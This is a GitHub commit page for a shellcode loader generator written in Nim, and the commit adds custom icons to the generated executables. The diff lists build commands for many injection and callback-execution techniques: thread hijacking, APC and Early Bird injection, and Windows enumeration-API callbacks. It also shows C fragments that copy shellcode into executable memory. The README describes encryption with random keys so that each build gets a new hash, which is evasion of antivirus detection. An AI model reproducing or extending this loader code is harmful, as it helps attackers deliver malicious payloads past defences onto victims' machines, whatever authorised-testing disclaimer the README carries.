Skip to content

Commit

Permalink
Custom icon
Browse files Browse the repository at this point in the history
Ability to add program icons of your choice
  • Loading branch information
aeverj committed Dec 28, 2023
1 parent b07246a commit 8c6d404
Show file tree
Hide file tree
Showing 13 changed files with 2,574 additions and 126 deletions.
3 changes: 3 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -7,4 +7,7 @@ nimblecache/
htmldocs/
.idea/
*.exe
codeLoader/codeLoader/bin
codeLoader/codeLoader/obj
codeLoader/.vs
# End of https://www.toptal.com/developers/gitignore/api/nim
1 change: 1 addition & 0 deletions CertEnumSystemStore.nim
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,7 @@
import public

{.emit: """
#include <wincrypt.h>
int CertEnumSystem(char *shellcode,SIZE_T shellcodeSize) {
LPVOID addr = ::VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
::RtlMoveMemory(addr, shellcode, shellcodeSize);
Expand Down
1 change: 1 addition & 0 deletions CertEnumSystemStoreLocation.nim
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,7 @@
import public

{.emit: """
#include <wincrypt.h>
int CertEnumSystemLocationNim(char *shellcode,SIZE_T shellcodeSize) {
LPVOID addr = ::VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
::RtlMoveMemory(addr, shellcode, shellcodeSize);
Expand Down
46 changes: 23 additions & 23 deletions Compiler.ini
Original file line number Diff line number Diff line change
@@ -1,24 +1,24 @@
[compile]
OEP Hiijack-Inject Load=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f OEP_Hiijack_Inject_Load.nim
Thread Hiijack-Inject Load=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f Thread_Hiijack_Inject_Load.nim
APC-Ijnect Load=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f APC_Ijnect_Load.nim
Early Bird APC-Injetc Load=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f Early_Bird_APC_Injetc_Load.nim
Direct Load=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f Direct_Load.nim
CreateThreatPoolWait Load=nim c -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f Thread_Pool_Wait.nim
Fiber Load=nim c -d:strip -d:<encrypt> -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f Fiber_Load.nim
CertEnumSystemStore-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f CertEnumSystemStore.nim
CertEnumSystemStoreLocation-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f CertEnumSystemStoreLocation.nim
CopyFile2-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f CopyFile2.nim
CopyFileEx-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f CopyFileEx.nim
CreateTimerQueueTimer_Tech-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f CreateTimerQueueTimer_Tech.nim
CryptEnumOIDInfo-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f CryptEnumOIDInfo.nim
EnumChildWindows-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumChildWindows.nim
EnumDesktopW-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumDesktopW.nim
EnumDesktopWindows-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumDesktopWindows.nim
EnumDirTreeW-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumDirTreeW.nim
EnumDisplayMonitors-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumDisplayMonitors.nim
EnumFontFamiliesExW-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumFontFamiliesExW.nim
EnumFontFamiliesW-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumFontFamiliesW.nim
EnumFontsW-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumFontsW.nim
EnumLanguageGroupLocalesW-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumLanguageGroupLocalesW.nim
EnumObjects-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumObjects.nim
OEP Hiijack-Inject Load=nim cpp -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f OEP_Hiijack_Inject_Load.nim
Thread Hiijack-Inject Load=nim cpp -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f Thread_Hiijack_Inject_Load.nim
APC-Ijnect Load=nim cpp -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f APC_Ijnect_Load.nim
Early Bird APC-Injetc Load=nim cpp -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f Early_Bird_APC_Injetc_Load.nim
Direct Load=nim cpp -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f Direct_Load.nim
CreateThreatPoolWait Load=nim c -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f Thread_Pool_Wait.nim
Fiber Load=nim c -d:strip -d:<encrypt> <ico> -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f Fiber_Load.nim
CertEnumSystemStore-ACE=nim cpp -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f CertEnumSystemStore.nim
CertEnumSystemStoreLocation-ACE=nim cpp -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f CertEnumSystemStoreLocation.nim
CopyFile2-ACE=nim cpp -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f CopyFile2.nim
CopyFileEx-ACE=nim cpp -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f CopyFileEx.nim
CreateTimerQueueTimer_Tech-ACE=nim cpp -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f CreateTimerQueueTimer_Tech.nim
CryptEnumOIDInfo-ACE=nim cpp -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f CryptEnumOIDInfo.nim
EnumChildWindows-ACE=nim cpp -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumChildWindows.nim
EnumDesktopW-ACE=nim cpp -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumDesktopW.nim
EnumDesktopWindows-ACE=nim cpp -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumDesktopWindows.nim
EnumDirTreeW-ACE=nim cpp -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumDirTreeW.nim
EnumDisplayMonitors-ACE=nim cpp -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumDisplayMonitors.nim
EnumFontFamiliesExW-ACE=nim cpp -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumFontFamiliesExW.nim
EnumFontFamiliesW-ACE=nim cpp -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumFontFamiliesW.nim
EnumFontsW-ACE=nim cpp -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumFontsW.nim
EnumLanguageGroupLocalesW-ACE=nim cpp -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumLanguageGroupLocalesW.nim
EnumObjects-ACE=nim cpp -d:<encrypt> <ico> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumObjects.nim
2 changes: 1 addition & 1 deletion CryptEnumOIDInfo.nim
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@
import public

{.emit: """
#include <wincrypt.h>
int CryptEnumOIDInfoNim(char *shellcode,SIZE_T shellcodeSize) {
LPVOID addr = ::VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
::RtlMoveMemory(addr, shellcode, shellcodeSize);
Expand Down
6 changes: 5 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,8 @@
![codeloader](pic/codeloader.png)
## 更新:

**20231228:图标自定义功能**

**20230826:支持nim的v2.0版本,去除base64编码,减小文件生成体积**

**20220620:Fix Bug!增加2种加载`shellcode`方式**
Expand All @@ -20,6 +22,8 @@

3:支持两种加密技术,分别位`3des`加密和凯撒密码,密钥随机,每次生成文件拥有不同hash

4:图标可以自定义

<h3 style="color: red;">仅限用于技术研究和获得正式授权的测试活动。</h3>

## 文件组成:
Expand Down Expand Up @@ -85,7 +89,7 @@ https://github.com/S4R1N/AlternativeShellcodeExec

## TODO:

- [ ] 添加图标自定义功能
- [x] 添加图标自定义功能

- [ ] 增加更多的加载方式

Expand Down
Binary file removed codeLoader/.vs/codeLoader/v16/.suo
Binary file not shown.
Loading

0 comments on commit 8c6d404

Please sign in to comment.